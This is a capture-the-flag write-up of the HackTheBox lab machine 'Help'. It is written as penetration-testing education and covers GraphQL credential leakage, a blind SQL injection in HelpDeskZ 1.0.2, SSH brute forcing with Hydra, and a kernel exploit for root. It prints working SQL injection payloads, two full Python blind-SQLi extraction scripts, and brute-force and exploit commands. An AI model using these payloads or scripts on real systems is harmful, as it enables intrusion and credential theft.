Overview
Help is an easy HackTheBox Linux machine built around the HelpDeskZ support ticket application. A separate GraphQL API on port 3000 leaks a hashed credential pair that unlocks the HelpDeskZ login, and a known authenticated SQL injection vulnerability in that ticketing system is then exploited character-by-character with a custom Python script to recover staff credentials for both a password and an email address. Those credentials seed a cewl wordlist that, combined with the recovered password, brute forces valid SSH access. Root is obtained by matching an outdated kernel to a public exploit and compiling it inside a GLIBC-matched Docker container.
Attack Chain
- Scan the target and identify
SSH(22),HTTP(80), and aNode.jsservice on3000 - Add
help.htbto/etc/hosts - Fuzz port
80and discover/support, runningHelpDeskZ - Leak the
HelpDeskZversion (1.0.2) fromREADME.md/UPGRADING.txtand identify a known authenticated SQL injection exploit for it - Fuzz port
3000and identify aGraphQLAPI - Use
clairvoyanceto brute-force theGraphQLschema and discover auserobject withusername/passwordfields - Query the
GraphQLAPI directly withcurlto recover a username and hashed password - Crack the hash with
crackstation.netto recoverHelpDeskZcredentials - Log in to
HelpDeskZand follow the public exploit’s ticket-attachment technique - Confirm boolean-based blind SQL injection through the attachment download parameter
- Script a custom character-by-character blind SQLi brute forcer to extract the staff admin’s password hash, then adapt it to extract the email address
- Crack the recovered password hash to get authenticated
HelpDeskZadmin credentials - Generate a wordlist from the authenticated
HelpDeskZpages withcewl - Brute force
SSHwithHydrausing the wordlist and the recovered password, landing valid credentials - Obtain a shell over
SSHand read the user flag - Identify an outdated kernel and matching
GLIBCversion - Compile a matching public kernel exploit inside a
GLIBC-matched Docker container - Transfer and run the exploit to get a root shell and read the root flag
Enumeration
Port Scanning
We start by defining the target and running a full TCP port scan.
export IP=10.129.230.159; export NAME=HELP; echo $IP; echo $NAME; ping $IP -c 1
nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME
The open TCP ports are:
22,80,3000
We export the discovered ports and run a service and version scan.
ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports
nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

We add help.htb to our /etc/hosts file.
Web Enumeration
Port 80 - HelpDeskZ
Browsing to port 80 shows a basic Apache2 landing page.

We fuzz the site for hidden directories.
dirsearch -u http://help.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_directories.txt
We find a /support endpoint.

The endpoint hosts an application called HelpDeskZ.

We run more targeted fuzzing against /support.
dirsearch -u http://help.htb/support -t 100 -o ./scans/dirsearch_${NAME}_support_default.txt
We find /support/README.md.

The file reveals the application version, 1.0.2.

README.md also references UPGRADING.txt, which confirms the same version.

A search for known vulnerabilities in this HelpDeskZ version turns up an authenticated SQL injection exploit:
https://www.exploit-db.com/exploits/41200
We keep this in mind and move on to the other open port for now.
Port 3000 - GraphQL API
Browsing to port 3000 returns a JSON page with a message about credentials.

Quick web fuzzing shows we’re working with a GraphQL API.
dirsearch -u http://$IP:$PORT -t 100 -o ./scans/dirsearch_${NAME}_${PORT}_default.txt

Investigating the /graphql endpoint directly, a plain GET request isn’t enough on its own.

GraphQL accepts objects as input through a query parameter. We use clairvoyance to fuzz for valid schema objects.
clairvoyance http://10.129.230.159:3000/graphql -o schema.json -v

Near the end of the run, we get hits on a user object with username and password fields.

We use curl to construct a GET request against the discovered schema.
curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username, password} }' | jq
This returns a username and a password, which appears to be hashed.

We crack the hash using crackstation.net.

Recovered credentials:
helpme@helpme.com:godhelpmeplz
Foothold
HelpDeskZ Login
We return to HelpDeskZ and log in using the recovered credentials.

We follow the steps of the known exploit:
https://www.exploit-db.com/exploits/41200
First, we submit a valid support ticket with an attachment.



We view the ticket, right-click the attached image, and copy its link.

Our link is:
http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6
Confirming SQL Injection
We check for basic SQL injection with a boolean payload of and 1=1-- -:
http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 and 1=1-- -
The attachment downloads, since 1=1 is a True condition. We double check with a False condition, 1=2-- -:
http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 and 1=2-- -
This time we get an error message, confirming SQL injection, a True condition executes and downloads the attachment, while a False condition errors out.
With some research, we find the relevant table is staff, with username and password columns. We adapt the query to check for an admin user:
http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 and (select (username) from staff limit 0,1) = 'admin'-- -
The attachment downloads again, confirming an admin user exists.
Scripting the Blind SQLi
To get the password hash, we repeat the same technique character-by-character using substr(). We start with a, which errors out:
http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 and substr((select password from staff limit 0,1),1,1) = 'a'-- -
When we reach d, the attachment downloads, the password or hash starts with d:
http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 and substr((select password from staff limit 0,1),1,1) = 'd'-- -
Doing this manually for every character is impractical, so we first grab the necessary cookies from a GET request in BurpSuite.

We then script the brute force.
#!/usr/bin/env python3
import string
import requests
# Cookies from your header
cookies = {
"lang": "english",
"PHPSESSID": "1mht949ubissmde3d3ef3cooo3",
"usrhash": "0Nwx5jIdx%2BP2QcbUIv9qck4Tk2feEu8Z0J7rPe0d70BtNMpqfrbvecJupGimitjg3JjP1UzkqYH6QdYSl1tVZNcjd4B7yFeh6KDrQQ%2FiYFsjV6wVnLIF%2FaNh6SC24eT5OqECJlQEv7G47Kd65yVLoZ06smnKha9AGF4yL2Ylo%2BHXQI3nlJBwLXPu%2BTslV8IiC9caXEFhbJ7v7PLSxaX%2FNg%3D%3D",
}
base = "http://help.htb/support/?v="
chars = list(string.ascii_lowercase) + list(string.digits)
session = requests.Session()
session.cookies.update(cookies)
def make_payload(pos: int, ch: str) -> str:
# Matches your manual payload pattern, including the SQL comment: -- -
return (
base
+ "view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1"
+ "¶m[]=6 and substr((select password from staff limit 0,1),{},1) = '{}'-- -"
).format(pos, ch)
# Baseline: known-false guess for pos=1
baseline_url = make_payload(1, "a")
baseline_resp = session.get(baseline_url, timeout=10, allow_redirects=False)
baseline_len = len(baseline_resp.text)
baseline_status = baseline_resp.status_code
print(f"[Baseline] status={baseline_status} len={baseline_len}")
password = []
for position in range(1, 41):
found = False
print(f"\n[+] Position {position}")
for ch in chars:
url = make_payload(position, ch)
r = session.get(url, timeout=10, allow_redirects=False)
# Hit detection: response differs from baseline
if r.status_code != baseline_status or len(r.text) != baseline_len:
password.append(ch)
print(f"[HIT] pos={position} char={ch} status={r.status_code} len={len(r.text)}")
print("Password:", "".join(password))
found = True
break
if not found:
print("[!] No match found at this position. Stopping.")
break
Running the script recovers a hash.


d318f44739dced66793b1a603028133a76ae680e
We crack it with crackstation.net again.

Welcome1
We repeat the process for the email column, with a few adjustments to the script.
First, we add characters that are valid in an email address:
+ ['@', '_', '.']

We change the target column from password to email:

And, optionally, rename the password variable to email:

Here’s the full email brute force script:
#!/usr/bin/env python3
import string
import requests
# Cookies from your header
cookies = {
"lang": "english",
"PHPSESSID": "1mht949ubissmde3d3ef3cooo3",
"usrhash": "0Nwx5jIdx%2BP2QcbUIv9qck4Tk2feEu8Z0J7rPe0d70BtNMpqfrbvecJupGimitjg3JjP1UzkqYH6QdYSl1tVZNcjd4B7yFeh6KDrQQ%2FiYFsjV6wVnLIF%2FaNh6SC24eT5OqECJlQEv7G47Kd65yVLoZ06smnKha9AGF4yL2Ylo%2BHXQI3nlJBwLXPu%2BTslV8IiC9caXEFhbJ7v7PLSxaX%2FNg%3D%3D",
}
base = "http://help.htb/support/?v="
chars = list(string.ascii_lowercase) + list(string.digits) + ['@', '_', '.']
session = requests.Session()
session.cookies.update(cookies)
def make_payload(pos: int, ch: str) -> str:
# Matches your manual payload pattern, including the SQL comment: -- -
return (
base
+ "view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1"
+ "¶m[]=6 and substr((select email from staff limit 0,1),{},1) = '{}'-- -"
).format(pos, ch)
# Baseline: known-false guess for pos=1
baseline_url = make_payload(1, "a")
baseline_resp = session.get(baseline_url, timeout=10, allow_redirects=False)
baseline_len = len(baseline_resp.text)
baseline_status = baseline_resp.status_code
print(f"[Baseline] status={baseline_status} len={baseline_len}")
email = []
for position in range(1, 41):
found = False
print(f"\n[+] Position {position}")
for ch in chars:
url = make_payload(position, ch)
r = session.get(url, timeout=10, allow_redirects=False)
# Hit detection: response differs from baseline
if r.status_code != baseline_status or len(r.text) != baseline_len:
email.append(ch)
print(f"[HIT] pos={position} char={ch} status={r.status_code} len={len(r.text)}")
print("Email:", "".join(email))
found = True
break
if not found:
print("[!] No match found at this position. Stopping.")
break
Running the email brute force script:


We now have the admin credentials for HelpDeskZ:
support@mysite.com:Welcome1
Wordlist Generation and SSH Brute Force
The admin login for HelpDeskZ itself doesn’t offer much further access, so we use cewl with our authenticated cookies to generate a wordlist from the site’s content.
cewl --lowercase http://help.htb/support --header "Cookie: lang=english; PHPSESSID=1mht949ubissmde3d3ef3cooo3; usrhash=0Nwx5jIdx%2BP2QcbUIv9qck4Tk2feEu8Z0J7rPe0d70BtNMpqfrbvecJupGimitjg3JjP1UzkqYH6QdYSl1tVZNcjd4B7yFeh6KDrQQ%2FiYFsjV6wVnLIF%2FaNh6SC24eT5OqECJlQEv7G47Kd65yVLoZ06smnKha9AGF4yL2Ylo%2BHXQI3nlJBwLXPu%2BTslV8IiC9caXEFhbJ7v7PLSxaX%2FNg%3D%3D" > creds/helpdesk_wordlist.txt
The first 10 entries of the resulting wordlist:

We use Hydra with this wordlist and the recovered password Welcome1 to brute force SSH.
hydra -L creds/helpdesk_wordlist.txt -p "Welcome1" $IP ssh
We get a hit.

help:Welcome1
We get a shell as help. The internal IP differs from our target IP, suggesting we’re dealing with a VPN NAT network.

We read the user flag.

Privilege Escalation
Kernel Enumeration
uname -a
cat /etc/lsb-release
We’re running kernel version 4.4.0-116-generic on Ubuntu 16.04.

A search turns up a matching kernel exploit:
https://www.exploit-db.com/exploits/44298
We check the target’s GLIBC version, since the exploit needs to be compiled to match.
ldd --version
We’re running GLIBC 2.23.

Compiling and Running the Exploit
We use Docker to compile the exploit against a matching GLIBC version on our attacking machine.
sudo docker run --rm -it -v "$PWD":/src -w /src ubuntu:16.04 bash -lc 'apt-get update && apt-get install -y build-essential && gcc -fno-stack-protector -z execstack -no-pie kernel_exploit.c -o exploit'
The exploit compiles successfully.

We transfer the exploit to the target, make it executable with chmod +x, and run it. This gives us a root shell.
chmod +x exploit
./exploit

We read the root flag.

Key Takeaways
Help demonstrates how a secondary, seemingly unrelated service, an exposed GraphQL API, can leak the credentials needed to unlock a completely different application. From there, a known authenticated SQL injection vulnerability in HelpDeskZ becomes a full data-extraction primitive once scripted, recovering both a password and an email address one character at a time through a boolean side channel. Feeding that authenticated access into cewl and Hydra turned web-application compromise into valid SSH credentials, and privilege escalation came down to correctly matching a public kernel exploit to both the running kernel and the target’s GLIBC version before compiling it inside a matching Docker environment.